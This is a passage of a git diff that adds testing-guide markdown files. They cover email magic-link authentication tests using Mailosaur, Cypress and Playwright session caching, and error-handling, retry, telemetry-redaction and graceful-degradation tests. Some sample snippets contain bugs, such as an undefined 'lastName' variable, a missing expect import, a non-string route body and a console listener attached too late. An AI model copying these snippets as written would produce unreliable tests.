+
+    // Validate cached session is still valid
+    validate: (cached) => {
+      return cy.wrap(Boolean(cached?.storage));
+    },
+
+    // Recreate session from cache (no email needed)
+    recreate: (cached) => {
+      // Restore localStorage
+      cy.setLocalStorage(cached.storage);
+      cy.visit('/dashboard');
+      cy.get('[data-cy="user-menu"]', { timeout: 5000 }).should('be.visible');
+    },
+
+    shareAcrossSpecs: true, // Share session across all tests
+  });
+});
+```
+
+**Usage in tests**:
+
+```javascript
+// cypress/e2e/dashboard.cy.ts
+describe('Dashboard', () => {
+  const serverId = Cypress.env('MAILOSAUR_SERVERID');
+  const testEmail = `test-user@${serverId}.mailosaur.net`;
+
+  beforeEach(() => {
+    // First test: Requests magic link
+    // Subsequent tests: Reuses cached session (no email!)
+    cy.authViaMagicLink(testEmail);
+  });
+
+  it('should display user dashboard', () => {
+    cy.get('[data-cy="dashboard-content"]').should('be.visible');
+  });
+
+  it('should show user profile', () => {
+    cy.get('[data-cy="user-email"]').should('contain', testEmail);
+  });
+
+  // Both tests share same session - only 1 email consumed!
+});
+```
+
+**Key Points**:
+
+- **Session caching**: First test requests email, rest reuse session
+- **State preservation**: localStorage/cookies saved and restored
+- **Validation**: Check cached session is still valid
+- **Quota optimization**: Massive reduction in email consumption
+- **Fast tests**: Cached auth takes seconds vs. minutes
+
+---
+
+### Example 3: Negative Flow Tests (Expired, Invalid, Reused Links)
+
+**Context**: Comprehensive negative testing for email authentication edge cases.
+
+**Implementation**:
+
+```typescript
+// tests/e2e/email-auth-negative.spec.ts
+import { test, expect } from '@playwright/test';
+import { getMagicLinkFromEmail } from '../support/mailosaur-helpers';
+
+const MAILOSAUR_SERVER_ID = process.env.MAILOSAUR_SERVER_ID!;
+
+test.describe('Email Auth Negative Flows', () => {
+  test('should reject expired magic link', async ({ page }) => {
+    // Generate expired link (simulate 24 hours ago)
+    const expiredToken = Buffer.from(
+      JSON.stringify({
+        email: 'test@example.com',
+        exp: Date.now() - 24 * 60 * 60 * 1000, // 24 hours ago
+      }),
+    ).toString('base64');
+
+    const expiredLink = `http://localhost:3000/auth/verify?token=${expiredToken}`;
+
+    // Visit expired link
+    await page.goto(expiredLink);
+
+    // Assert: Error displayed
+    await expect(page.getByTestId('error-message')).toBeVisible();
+    await expect(page.getByTestId('error-message')).toContainText(/link.*expired|expired.*link/i);
+
+    // Assert: Link to request new one
+    await expect(page.getByTestId('request-new-link')).toBeVisible();
+
+    // Assert: User NOT authenticated
+    await expect(page.getByTestId('user-menu')).not.toBeVisible();
+  });
+
+  test('should reject invalid magic link token', async ({ page }) => {
+    const invalidLink = 'http://localhost:3000/auth/verify?token=invalid-garbage';
+
+    await page.goto(invalidLink);
+
+    // Assert: Error displayed
+    await expect(page.getByTestId('error-message')).toBeVisible();
+    await expect(page.getByTestId('error-message')).toContainText(/invalid.*link|link.*invalid/i);
+
+    // Assert: User not authenticated
+    await expect(page.getByTestId('user-menu')).not.toBeVisible();
+  });
+
+  test('should reject already-used magic link', async ({ page, context }) => {
+    const randomId = Math.floor(Math.random() * 1000000);
+    const testEmail = `user-${randomId}@${MAILOSAUR_SERVER_ID}.mailosaur.net`;
+
+    // Request magic link
+    await page.goto('/login');
+    await page.getByTestId('email-input').fill(testEmail);
+    await page.getByTestId('send-magic-link').click();
+
+    const magicLink = await getMagicLinkFromEmail(testEmail);
+
+    // Visit link FIRST time (success)
+    await page.goto(magicLink);
+    await expect(page.getByTestId('user-menu')).toBeVisible();
+
+    // Sign out
+    await page.getByTestId('user-menu').click();
+    await page.getByTestId('sign-out').click();
+    await expect(page.getByTestId('user-menu')).not.toBeVisible();
+
+    // Try to reuse SAME link (should fail)
+    await page.goto(magicLink);
+
+    // Assert: Link already used error
+    await expect(page.getByTestId('error-message')).toBeVisible();
+    await expect(page.getByTestId('error-message')).toContainText(/already.*used|link.*used/i);
+
+    // Assert: User not authenticated
+    await expect(page.getByTestId('user-menu')).not.toBeVisible();
+  });
+
+  test('should handle rapid successive link requests', async ({ page }) => {
+    const randomId = Math.floor(Math.random() * 1000000);
+    const testEmail = `user-${randomId}@${MAILOSAUR_SERVER_ID}.mailosaur.net`;
+
+    // Request magic link 3 times rapidly
+    for (let i = 0; i < 3; i++) {
+      await page.goto('/login');
+      await page.getByTestId('email-input').fill(testEmail);
+      await page.getByTestId('send-magic-link').click();
+      await expect(page.getByTestId('check-email-message')).toBeVisible();
+    }
+
+    // Only the LATEST link should work
+    const MailosaurClient = require('mailosaur');
+    const mailosaur = new MailosaurClient(process.env.MAILOSAUR_API_KEY);
+
+    const messages = await mailosaur.messages.list(MAILOSAUR_SERVER_ID, {
+      sentTo: testEmail,
+    });
+
+    // Should receive 3 emails
+    expect(messages.items.length).toBeGreaterThanOrEqual(3);
+
+    // Get the LATEST magic link
+    const latestMessage = messages.items[0]; // Most recent first
+    const latestLink = latestMessage.html.links[0].href;
+
+    // Latest link works
+    await page.goto(latestLink);
+    await expect(page.getByTestId('user-menu')).toBeVisible();
+
+    // Older links should NOT work (if backend invalidates previous)
+    await page.getByTestId('sign-out').click();
+    const olderLink = messages.items[1].html.links[0].href;
+
+    await page.goto(olderLink);
+    await expect(page.getByTestId('error-message')).toBeVisible();
+  });
+
+  test('should rate-limit excessive magic link requests', async ({ page }) => {
+    const randomId = Math.floor(Math.random() * 1000000);
+    const testEmail = `user-${randomId}@${MAILOSAUR_SERVER_ID}.mailosaur.net`;
+
+    // Request magic link 10 times rapidly (should hit rate limit)
+    for (let i = 0; i < 10; i++) {
+      await page.goto('/login');
+      await page.getByTestId('email-input').fill(testEmail);
+      await page.getByTestId('send-magic-link').click();
+
+      // After N requests, should show rate limit error
+      const errorVisible = await page
+        .getByTestId('rate-limit-error')
+        .isVisible({ timeout: 1000 })
+        .catch(() => false);
+
+      if (errorVisible) {
+        console.log(`Rate limit hit after ${i + 1} requests`);
+        await expect(page.getByTestId('rate-limit-error')).toContainText(/too many.*requests|rate.*limit/i);
+        return;
+      }
+    }
+
+    // If no rate limit after 10 requests, log warning
+    console.warn('⚠️  No rate limit detected after 10 requests');
+  });
+});
+```
+
+**Key Points**:
+
+- **Expired links**: Test 24+ hour old tokens
+- **Invalid tokens**: Malformed or garbage tokens rejected
+- **Reuse prevention**: Same link can't be used twice
+- **Rapid requests**: Multiple requests handled gracefully
+- **Rate limiting**: Excessive requests blocked
+
+---
+
+### Example 4: Caching Strategy with cypress-data-session / Playwright Projects
+
+**Context**: Minimize email consumption by sharing authentication state across tests and specs.
+
+**Implementation**:
+
+```javascript
+// cypress/support/commands/register-and-sign-in.js
+import { dataSession } from 'cypress-data-session';
+
+/**
+ * Email Authentication Caching Strategy
+ * - One email per test run (not per spec, not per test)
+ * - First spec: Full registration flow (form → email → code → sign in)
+ * - Subsequent specs: Only sign in (reuse user)
+ * - Subsequent tests in same spec: Session already active (no sign in)
+ */
+
+// Helper: Fill registration form
+function fillRegistrationForm({ fullName, userName, email, password }) {
+  cy.intercept('POST', 'https://cognito-idp*').as('cognito');
+  cy.contains('Register').click();
+  cy.get('#reg-dialog-form').should('be.visible');
+  cy.get('#first-name').type(fullName, { delay: 0 });
+  cy.get('#last-name').type(lastName, { delay: 0 });
+  cy.get('#email').type(email, { delay: 0 });
+  cy.get('#username').type(userName, { delay: 0 });
+  cy.get('#password').type(password, { delay: 0 });
+  cy.contains('button', 'Create an account').click();
+  cy.wait('@cognito').its('response.statusCode').should('equal', 200);
+}
+
+// Helper: Confirm registration with email code
+function confirmRegistration(email) {
+  return cy
+    .mailosaurGetMessage(Cypress.env('MAILOSAUR_SERVERID'), { sentTo: email })
+    .its('html.codes.0.value') // Mailosaur auto-extracts codes!
+    .then((code) => {
+      cy.intercept('POST', 'https://cognito-idp*').as('cognito');
+      cy.get('#verification-code').type(code, { delay: 0 });
+      cy.contains('button', 'Confirm registration').click();
+      cy.wait('@cognito');
+      cy.contains('You are now registered!').should('be.visible');
+      cy.contains('button', /ok/i).click();
+      return cy.wrap(code); // Return code for reference
+    });
+}
+
+// Helper: Full registration (form + email)
+function register({ fullName, userName, email, password }) {
+  fillRegistrationForm({ fullName, userName, email, password });
+  return confirmRegistration(email);
+}
+
+// Helper: Sign in
+function signIn({ userName, password }) {
+  cy.intercept('POST', 'https://cognito-idp*').as('cognito');
+  cy.contains('Sign in').click();
+  cy.get('#sign-in-username').type(userName, { delay: 0 });
+  cy.get('#sign-in-password').type(password, { delay: 0 });
+  cy.contains('button', 'Sign in').click();
+  cy.wait('@cognito');
+  cy.contains('Sign out').should('be.visible');
+}
+
+/**
+ * Register and sign in with email caching
+ * ONE EMAIL PER MACHINE (cypress run or cypress open)
+ */
+Cypress.Commands.add('registerAndSignIn', ({ fullName, userName, email, password }) => {
+  return dataSession({
+    name: email, // Unique session per email
+
+    // First time: Full registration (form → email → code)
+    init: () => register({ fullName, userName, email, password }),
+
+    // Subsequent specs: Just check email exists (code already used)
+    setup: () => confirmRegistration(email),
+
+    // Always runs after init/setup: Sign in
+    recreate: () => signIn({ userName, password }),
+
+    // Share across ALL specs (one email for entire test run)
+    shareAcrossSpecs: true,
+  });
+});
+```
+
+**Usage across multiple specs**:
+
+```javascript
+// cypress/e2e/place-order.cy.ts
+describe('Place Order', () => {
+  beforeEach(() => {
+    cy.visit('/');
+    cy.registerAndSignIn({
+      fullName: Cypress.env('fullName'), // From cypress.config
+      userName: Cypress.env('userName'),
+      email: Cypress.env('email'), // SAME email across all specs
+      password: Cypress.env('password'),
+    });
+  });
+
+  it('should place order', () => {
+    /* ... */
+  });
+  it('should view order history', () => {
+    /* ... */
+  });
+});
+
+// cypress/e2e/profile.cy.ts
+describe('User Profile', () => {
+  beforeEach(() => {
+    cy.visit('/');
+    cy.registerAndSignIn({
+      fullName: Cypress.env('fullName'),
+      userName: Cypress.env('userName'),
+      email: Cypress.env('email'), // SAME email - no new email sent!
+      password: Cypress.env('password'),
+    });
+  });
+
+  it('should update profile', () => {
+    /* ... */
+  });
+});
+```
+
+**Playwright equivalent with storageState**:
+
+```typescript
+// playwright.config.ts
+import { defineConfig } from '@playwright/test';
+
+export default defineConfig({
+  projects: [
+    {
+      name: 'setup',
+      testMatch: /global-setup\.ts/,
+    },
+    {
+      name: 'authenticated',
+      testMatch: /.*\.spec\.ts/,
+      dependencies: ['setup'],
+      use: {
+        storageState: '.auth/user-session.json', // Reuse auth state
+      },
+    },
+  ],
+});
+```
+
+```typescript
+// tests/global-setup.ts (runs once)
+import { test as setup } from '@playwright/test';
+import { getMagicLinkFromEmail } from './support/mailosaur-helpers';
+
+const authFile = '.auth/user-session.json';
+
+setup('authenticate via magic link', async ({ page }) => {
+  const testEmail = process.env.TEST_USER_EMAIL!;
+
+  // Request magic link
+  await page.goto('/login');
+  await page.getByTestId('email-input').fill(testEmail);
+  await page.getByTestId('send-magic-link').click();
+
+  // Get and visit magic link
+  const magicLink = await getMagicLinkFromEmail(testEmail);
+  await page.goto(magicLink);
+
+  // Verify authenticated
+  await expect(page.getByTestId('user-menu')).toBeVisible();
+
+  // Save authenticated state (ONE TIME for all tests)
+  await page.context().storageState({ path: authFile });
+
+  console.log('✅ Authentication state saved to', authFile);
+});
+```
+
+**Key Points**:
+
+- **One email per run**: Global setup authenticates once
+- **State reuse**: All tests use cached storageState
+- **cypress-data-session**: Intelligently manages cache lifecycle
+- **shareAcrossSpecs**: Session shared across all spec files
+- **Massive savings**: 500 tests = 1 email (not 500!)
+
+---
+
+## Email Authentication Testing Checklist
+
+Before implementing email auth tests, verify:
+
+- [ ] **Email service**: Mailosaur/Ethereal/MailHog configured with API keys
+- [ ] **Link extraction**: Use built-in parsing (html.links[0].href) over regex
+- [ ] **State preservation**: localStorage/session/cookies saved and restored
+- [ ] **Session caching**: cypress-data-session or storageState prevents redundant emails
+- [ ] **Negative flows**: Expired, invalid, reused, rapid requests tested
+- [ ] **Quota awareness**: One email per run (not per test)
+- [ ] **PII scrubbing**: Email IDs logged for debug, but scrubbed from artifacts
+- [ ] **Timeout handling**: 30 second email retrieval timeout configured
+
+## Integration Points
+
+- Used in workflows: `*framework` (email auth setup), `*automate` (email auth test generation)
+- Related fragments: `fixture-architecture.md`, `test-quality.md`
+- Email services: Mailosaur (recommended), Ethereal (free), MailHog (self-hosted)
+- Plugins: cypress-mailosaur, cypress-data-session
+
+_Source: Email authentication blog, Murat testing toolkit, Mailosaur documentation_
diff --git a/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/error-handling.md b/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/error-handling.md
new file mode 100644
index 0000000..32de3d5
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/error-handling.md
@@ -0,0 +1,725 @@
+# Error Handling and Resilience Checks
+
+## Principle
+
+Treat expected failures explicitly: intercept network errors, assert UI fallbacks (error messages visible, retries triggered), and use scoped exception handling to ignore known errors while catching regressions. Test retry/backoff logic by forcing sequential failures (500 → timeout → success) and validate telemetry logging. Log captured errors with context (request payload, user/session) but redact secrets to keep artifacts safe for sharing.
+
+## Rationale
+
+Tests fail for two reasons: genuine bugs or poor error handling in the test itself. Without explicit error handling patterns, tests become noisy (uncaught exceptions cause false failures) or silent (swallowing all errors hides real bugs). Scoped exception handling (Cypress.on('uncaught:exception'), page.on('pageerror')) allows tests to ignore documented, expected errors while surfacing unexpected ones. Resilience testing (retry logic, graceful degradation) ensures applications handle failures gracefully in production.
+
+## Pattern Examples
+
+### Example 1: Scoped Exception Handling (Expected Errors Only)
+
+**Context**: Handle known errors (Network failures, expected 500s) without masking unexpected bugs.
+
+**Implementation**:
+
+```typescript
+// tests/e2e/error-handling.spec.ts
+import { test, expect } from '@playwright/test';
+
+/**
+ * Scoped Error Handling Pattern
+ * - Only ignore specific, documented errors
+ * - Rethrow everything else to catch regressions
+ * - Validate error UI and user experience
+ */
+
+test.describe('API Error Handling', () => {
+  test('should display error message when API returns 500', async ({ page }) => {
+    // Scope error handling to THIS test only
+    const consoleErrors: string[] = [];
+    page.on('pageerror', (error) => {
+      // Only swallow documented NetworkError
+      if (error.message.includes('NetworkError: Failed to fetch')) {
+        consoleErrors.push(error.message);
+        return; // Swallow this specific error
+      }
+      // Rethrow all other errors (catch regressions!)
+      throw error;
+    });
+
+    // Arrange: Mock 500 error response
+    await page.route('**/api/users', (route) =>
+      route.fulfill({
+        status: 500,
+        contentType: 'application/json',
+        body: JSON.stringify({
+          error: 'Internal server error',
+          code: 'INTERNAL_ERROR',
+        }),
+      }),
+    );
+
+    // Act: Navigate to page that fetches users
+    await page.goto('/dashboard');
+
+    // Assert: Error UI displayed
+    await expect(page.getByTestId('error-message')).toBeVisible();
+    await expect(page.getByTestId('error-message')).toContainText(/error.*loading|failed.*load/i);
+
+    // Assert: Retry button visible
+    await expect(page.getByTestId('retry-button')).toBeVisible();
+
+    // Assert: NetworkError was thrown and caught
+    expect(consoleErrors).toContainEqual(expect.stringContaining('NetworkError'));
+  });
+
+  test('should NOT swallow unexpected errors', async ({ page }) => {
+    let unexpectedError: Error | null = null;
+
+    page.on('pageerror', (error) => {
+      // Capture but don't swallow - test should fail
+      unexpectedError = error;
+      throw error;
+    });
+
+    // Arrange: App has JavaScript error (bug)
+    await page.addInitScript(() => {
+      // Simulate bug in app code
+      (window as any).buggyFunction = () => {
+        throw new Error('UNEXPECTED BUG: undefined is not a function');
+      };
+    });
+
+    await page.goto('/dashboard');
+
+    // Trigger buggy function
+    await page.evaluate(() => (window as any).buggyFunction());
+
+    // Assert: Test fails because unexpected error was NOT swallowed
+    expect(unexpectedError).not.toBeNull();
+    expect(unexpectedError?.message).toContain('UNEXPECTED BUG');
+  });
+});
+```
+
+**Cypress equivalent**:
+
+```javascript
+// cypress/e2e/error-handling.cy.ts
+describe('API Error Handling', () => {
+  it('should display error message when API returns 500', () => {
+    // Scoped to this test only
+    cy.on('uncaught:exception', (err) => {
+      // Only swallow documented NetworkError
+      if (err.message.includes('NetworkError')) {
+        return false; // Prevent test failure
+      }
+      // All other errors fail the test
+      return true;
+    });
+
+    // Arrange: Mock 500 error
+    cy.intercept('GET', '**/api/users', {
+      statusCode: 500,
+      body: {
+        error: 'Internal server error',
+        code: 'INTERNAL_ERROR',
+      },
+    }).as('getUsers');
+
+    // Act
+    cy.visit('/dashboard');
+    cy.wait('@getUsers');
+
+    // Assert: Error UI
+    cy.get('[data-cy="error-message"]').should('be.visible');
+    cy.get('[data-cy="error-message"]').should('contain', 'error loading');
+    cy.get('[data-cy="retry-button"]').should('be.visible');
+  });
+
+  it('should NOT swallow unexpected errors', () => {
+    // No exception handler - test should fail on unexpected errors
+
+    cy.visit('/dashboard');
+
+    // Trigger unexpected error
+    cy.window().then((win) => {
+      // This should fail the test
+      win.eval('throw new Error("UNEXPECTED BUG")');
+    });
+
+    // Test fails (as expected) - validates error detection works
+  });
+});
+```
+
+**Key Points**:
+
+- **Scoped handling**: page.on() / cy.on() scoped to specific tests
+- **Explicit allow-list**: Only ignore documented errors
+- **Rethrow unexpected**: Catch regressions by failing on unknown errors
+- **Error UI validation**: Assert user sees error message
+- **Logging**: Capture errors for debugging, don't swallow silently
+
+---
+
+### Example 2: Retry Validation Pattern (Network Resilience)
+
+**Context**: Test that retry/backoff logic works correctly for transient failures.
+
+**Implementation**:
+
+```typescript
+// tests/e2e/retry-resilience.spec.ts
+import { test, expect } from '@playwright/test';
+
+/**
+ * Retry Validation Pattern
+ * - Force sequential failures (500 → 500 → 200)
+ * - Validate retry attempts and backoff timing
+ * - Assert telemetry captures retry events
+ */
+
+test.describe('Network Retry Logic', () => {
+  test('should retry on 500 error and succeed', async ({ page }) => {
+    let attemptCount = 0;
+    const attemptTimestamps: number[] = [];
+
+    // Mock API: Fail twice, succeed on third attempt
+    await page.route('**/api/products', (route) => {
+      attemptCount++;
+      attemptTimestamps.push(Date.now());
+
+      if (attemptCount <= 2) {
+        // First 2 attempts: 500 error
+        route.fulfill({
+          status: 500,
+          body: JSON.stringify({ error: 'Server error' }),
+        });
+      } else {
+        // 3rd attempt: Success
+        route.fulfill({
+          status: 200,
+          contentType: 'application/json',
+          body: JSON.stringify({ products: [{ id: 1, name: 'Product 1' }] }),
+        });
+      }
+    });
+
+    // Act: Navigate (should retry automatically)
+    await page.goto('/products');
+
+    // Assert: Data eventually loads after retries
+    await expect(page.getByTestId('product-list')).toBeVisible();
+    await expect(page.getByTestId('product-item')).toHaveCount(1);
+
+    // Assert: Exactly 3 attempts made
+    expect(attemptCount).toBe(3);
+
+    // Assert: Exponential backoff timing (1s → 2s between attempts)
+    if (attemptTimestamps.length === 3) {
+      const delay1 = attemptTimestamps[1] - attemptTimestamps[0];
+      const delay2 = attemptTimestamps[2] - attemptTimestamps[1];
+
+      expect(delay1).toBeGreaterThanOrEqual(900); // ~1 second
+      expect(delay1).toBeLessThan(1200);
+      expect(delay2).toBeGreaterThanOrEqual(1900); // ~2 seconds
+      expect(delay2).toBeLessThan(2200);
+    }
+
+    // Assert: Telemetry logged retry events
+    const telemetryEvents = await page.evaluate(() => (window as any).__TELEMETRY_EVENTS__ || []);
+    expect(telemetryEvents).toContainEqual(
+      expect.objectContaining({
+        event: 'api_retry',
+        attempt: 1,
+        endpoint: '/api/products',
+      }),
+    );
+    expect(telemetryEvents).toContainEqual(
+      expect.objectContaining({
+        event: 'api_retry',
+        attempt: 2,
+      }),
+    );
+  });
+
+  test('should give up after max retries and show error', async ({ page }) => {
+    let attemptCount = 0;
+
+    // Mock API: Always fail (test retry limit)
+    await page.route('**/api/products', (route) => {
+      attemptCount++;
+      route.fulfill({
+        status: 500,
+        body: JSON.stringify({ error: 'Persistent server error' }),
+      });
+    });
+
+    // Act
+    await page.goto('/products');
+
+    // Assert: Max retries reached (3 attempts typical)
+    expect(attemptCount).toBe(3);
+
+    // Assert: Error UI displayed after exhausting retries
+    await expect(page.getByTestId('error-message')).toBeVisible();
+    await expect(page.getByTestId('error-message')).toContainText(/unable.*load|failed.*after.*retries/i);
+
+    // Assert: Data not displayed
+    await expect(page.getByTestId('product-list')).not.toBeVisible();
+  });
+
+  test('should NOT retry on 404 (non-retryable error)', async ({ page }) => {
+    let attemptCount = 0;
+
+    // Mock API: 404 error (should NOT retry)
+    await page.route('**/api/products/999', (route) => {
+      attemptCount++;
+      route.fulfill({
+        status: 404,
+        body: JSON.stringify({ error: 'Product not found' }),
+      });
+    });
+
+    await page.goto('/products/999');
+
+    // Assert: Only 1 attempt (no retries on 404)
+    expect(attemptCount).toBe(1);
+
+    // Assert: 404 error displayed immediately
+    await expect(page.getByTestId('not-found-message')).toBeVisible();
+  });
+});
+```
+
+**Cypress with retry interception**:
+
+```javascript
+// cypress/e2e/retry-resilience.cy.ts
+describe('Network Retry Logic', () => {
+  it('should retry on 500 and succeed on 3rd attempt', () => {
+    let attemptCount = 0;
+
+    cy.intercept('GET', '**/api/products', (req) => {
+      attemptCount++;
+
+      if (attemptCount <= 2) {
+        req.reply({ statusCode: 500, body: { error: 'Server error' } });
+      } else {
+        req.reply({ statusCode: 200, body: { products: [{ id: 1, name: 'Product 1' }] } });
+      }
+    }).as('getProducts');
+
+    cy.visit('/products');
+
+    // Wait for final successful request
+    cy.wait('@getProducts').its('response.statusCode').should('eq', 200);
+
+    // Assert: Data loaded
+    cy.get('[data-cy="product-list"]').should('be.visible');
+    cy.get('[data-cy="product-item"]').should('have.length', 1);
+
+    // Validate retry count
+    cy.wrap(attemptCount).should('eq', 3);
+  });
+});
+```
+
+**Key Points**:
+
+- **Sequential failures**: Test retry logic with 500 → 500 → 200
+- **Backoff timing**: Validate exponential backoff delays
+- **Retry limits**: Max attempts enforced (typically 3)
+- **Non-retryable errors**: 404s don't trigger retries
+- **Telemetry**: Log retry attempts for monitoring
+
+---
+
+### Example 3: Telemetry Logging with Context (Sentry Integration)
+
+**Context**: Capture errors with full context for production debugging without exposing secrets.
+
+**Implementation**:
+
+```typescript
+// tests/e2e/telemetry-logging.spec.ts
+import { test, expect } from '@playwright/test';
+
+/**
+ * Telemetry Logging Pattern
+ * - Log errors with request context
+ * - Redact sensitive data (tokens, passwords, PII)
+ * - Integrate with monitoring (Sentry, Datadog)
+ * - Validate error logging without exposing secrets
+ */
+
+type ErrorLog = {
+  level: 'error' | 'warn' | 'info';
+  message: string;
+  context?: {
+    endpoint?: string;
+    method?: string;
+    statusCode?: number;
+    userId?: string;
+    sessionId?: string;
+  };
+  timestamp: string;
+};
+
+test.describe('Error Telemetry', () => {
+  test('should log API errors with context', async ({ page }) => {
+    const errorLogs: ErrorLog[] = [];
+
+    // Capture console errors
+    page.on('console', (msg) => {
+      if (msg.type() === 'error') {
+        try {
+          const log = JSON.parse(msg.text());
+          errorLogs.push(log);
+        } catch {
+          // Not a structured log, ignore
+        }
+      }
+    });
+
+    // Mock failing API
+    await page.route('**/api/orders', (route) =>
+      route.fulfill({
+        status: 500,
+        body: JSON.stringify({ error: 'Payment processor unavailable' }),
+      }),
+    );
+
+    // Act: Trigger error
+    await page.goto('/checkout');
+    await page.getByTestId('place-order').click();
+
+    // Wait for error UI
+    await expect(page.getByTestId('error-message')).toBeVisible();
+
+    // Assert: Error logged with context
+    expect(errorLogs).toContainEqual(
+      expect.objectContaining({
+        level: 'error',
+        message: expect.stringContaining('API request failed'),
+        context: expect.objectContaining({
+          endpoint: '/api/orders',
+          method: 'POST',
+          statusCode: 500,
+          userId: expect.any(String),
+        }),
+      }),
+    );
+
+    // Assert: Sensitive data NOT logged
+    const logString = JSON.stringify(errorLogs);
+    expect(logString).not.toContain('password');
+    expect(logString).not.toContain('token');
+    expect(logString).not.toContain('creditCard');
+  });
+
+  test('should send errors to Sentry with breadcrumbs', async ({ page }) => {
+    const sentryEvents: any[] = [];
+
+    // Mock Sentry SDK
+    await page.addInitScript(() => {
+      (window as any).Sentry = {
+        captureException: (error: Error, context?: any) => {
+          (window as any).__SENTRY_EVENTS__ = (window as any).__SENTRY_EVENTS__ || [];
+          (window as any).__SENTRY_EVENTS__.push({
+            error: error.message,
+            context,
+            timestamp: Date.now(),
+          });
+        },
+        addBreadcrumb: (breadcrumb: any) => {
+          (window as any).__SENTRY_BREADCRUMBS__ = (window as any).__SENTRY_BREADCRUMBS__ || [];
+          (window as any).__SENTRY_BREADCRUMBS__.push(breadcrumb);
+        },
+      };
+    });
+
+    // Mock failing API
+    await page.route('**/api/users', (route) => route.fulfill({ status: 403, body: { error: 'Forbidden' } }));
+
+    // Act
+    await page.goto('/users');
+
+    // Assert: Sentry captured error
+    const events = await page.evaluate(() => (window as any).__SENTRY_EVENTS__);
+    expect(events).toHaveLength(1);
+    expect(events[0]).toMatchObject({
+      error: expect.stringContaining('403'),
+      context: expect.objectContaining({
+        endpoint: '/api/users',
+        statusCode: 403,
+      }),
+    });
+
+    // Assert: Breadcrumbs include user actions
+    const breadcrumbs = await page.evaluate(() => (window as any).__SENTRY_BREADCRUMBS__);
+    expect(breadcrumbs).toContainEqual(
+      expect.objectContaining({
+        category: 'navigation',
+        message: '/users',
+      }),
+    );
+  });
+});
+```
+
+**Cypress with Sentry**:
+
+```javascript
+// cypress/e2e/telemetry-logging.cy.ts
+describe('Error Telemetry', () => {
+  it('should log API errors with redacted sensitive data', () => {
+    const errorLogs = [];
+
+    // Capture console errors
+    cy.on('window:before:load', (win) => {
+      cy.stub(win.console, 'error').callsFake((msg) => {
+        errorLogs.push(msg);
+      });
+    });
+
+    // Mock failing API
+    cy.intercept('POST', '**/api/orders', {
+      statusCode: 500,
+      body: { error: 'Payment failed' },
+    });
+
+    // Act
+    cy.visit('/checkout');
+    cy.get('[data-cy="place-order"]').click();
+
+    // Assert: Error logged
+    cy.wrap(errorLogs).should('have.length.greaterThan', 0);
+
+    // Assert: Context included
+    cy.wrap(errorLogs[0]).should('include', '/api/orders');
+
+    // Assert: Secrets redacted
+    cy.wrap(JSON.stringify(errorLogs)).should('not.contain', 'password');
+    cy.wrap(JSON.stringify(errorLogs)).should('not.contain', 'creditCard');
+  });
+});
+```
+
+**Error logger utility with redaction**:
+
+```typescript
+// src/utils/error-logger.ts
+type ErrorContext = {
+  endpoint?: string;
+  method?: string;
+  statusCode?: number;
+  userId?: string;
+  sessionId?: string;
+  requestPayload?: any;
+};
+
+const SENSITIVE_KEYS = ['password', 'token', 'creditCard', 'ssn', 'apiKey'];
+
+/**
+ * Redact sensitive data from objects
+ */
+function redactSensitiveData(obj: any): any {
+  if (typeof obj !== 'object' || obj === null) return obj;
+
+  const redacted = { ...obj };
+
+  for (const key of Object.keys(redacted)) {
+    if (SENSITIVE_KEYS.some((sensitive) => key.toLowerCase().includes(sensitive))) {
+      redacted[key] = '[REDACTED]';
+    } else if (typeof redacted[key] === 'object') {
+      redacted[key] = redactSensitiveData(redacted[key]);
+    }
+  }
+
+  return redacted;
+}
+
+/**
+ * Log error with context (Sentry integration)
+ */
+export function logError(error: Error, context?: ErrorContext) {
+  const safeContext = context ? redactSensitiveData(context) : {};
+
+  const errorLog = {
+    level: 'error' as const,
+    message: error.message,
+    stack: error.stack,
+    context: safeContext,
+    timestamp: new Date().toISOString(),
+  };
+
+  // Console (development)
+  console.error(JSON.stringify(errorLog));
+
+  // Sentry (production)
+  if (typeof window !== 'undefined' && (window as any).Sentry) {
+    (window as any).Sentry.captureException(error, {
+      contexts: { custom: safeContext },
+    });
+  }
+}
+```
+
+**Key Points**:
+
+- **Context-rich logging**: Endpoint, method, status, user ID
+- **Secret redaction**: Passwords, tokens, PII removed before logging
+- **Sentry integration**: Production monitoring with breadcrumbs
+- **Structured logs**: JSON format for easy parsing
+- **Test validation**: Assert logs contain context but not secrets
+
+---
+
+### Example 4: Graceful Degradation Tests (Fallback Behavior)
+
+**Context**: Validate application continues functioning when services are unavailable.
+
+**Implementation**:
+
+```typescript
+// tests/e2e/graceful-degradation.spec.ts
+import { test, expect } from '@playwright/test';
+
+/**
+ * Graceful Degradation Pattern
+ * - Simulate service unavailability
+ * - Validate fallback behavior
+ * - Ensure user experience degrades gracefully
+ * - Verify telemetry captures degradation events
+ */
+
+test.describe('Service Unavailability', () => {
+  test('should display cached data when API is down', async ({ page }) => {
+    // Arrange: Seed localStorage with cached data
+    await page.addInitScript(() => {
+      localStorage.setItem(
+        'products_cache',
+        JSON.stringify({
+          data: [
+            { id: 1, name: 'Cached Product 1' },
+            { id: 2, name: 'Cached Product 2' },
+          ],
+          timestamp: Date.now(),
+        }),
+      );
+    });
+
+    // Mock API unavailable
+    await page.route(
+      '**/api/products',
+      (route) => route.abort('connectionrefused'), // Simulate server down
+    );
+
+    // Act
+    await page.goto('/products');
+
+    // Assert: Cached data displayed
+    await expect(page.getByTestId('product-list')).toBeVisible();
+    await expect(page.getByText('Cached Product 1')).toBeVisible();
+
+    // Assert: Stale data warning shown
+    await expect(page.getByTestId('cache-warning')).toBeVisible();
+    await expect(page.getByTestId('cache-warning')).toContainText(/showing.*cached|offline.*mode/i);
+
+    // Assert: Retry button available
+    await expect(page.getByTestId('refresh-button')).toBeVisible();
+  });
+
+  test('should show fallback UI when analytics service fails', async ({ page }) => {
+    // Mock analytics service down (non-critical)
+    await page.route('**/analytics/track', (route) => route.fulfill({ status: 503, body: 'Service unavailable' }));
+
+    // Act: Navigate normally
+    await page.goto('/dashboard');
+
+    // Assert: Page loads successfully (analytics failure doesn't block)
+    await expect(page.getByTestId('dashboard-content')).toBeVisible();
+
+    // Assert: Analytics error logged but not shown to user
+    const consoleErrors = [];
+    page.on('console', (msg) => {
+      if (msg.type() === 'error') consoleErrors.push(msg.text());
+    });
+
+    // Trigger analytics event
+    await page.getByTestId('track-action-button').click();
+
+    // Analytics error logged
+    expect(consoleErrors).toContainEqual(expect.stringContaining('Analytics service unavailable'));
+
+    // But user doesn't see error
+    await expect(page.getByTestId('error-message')).not.toBeVisible();
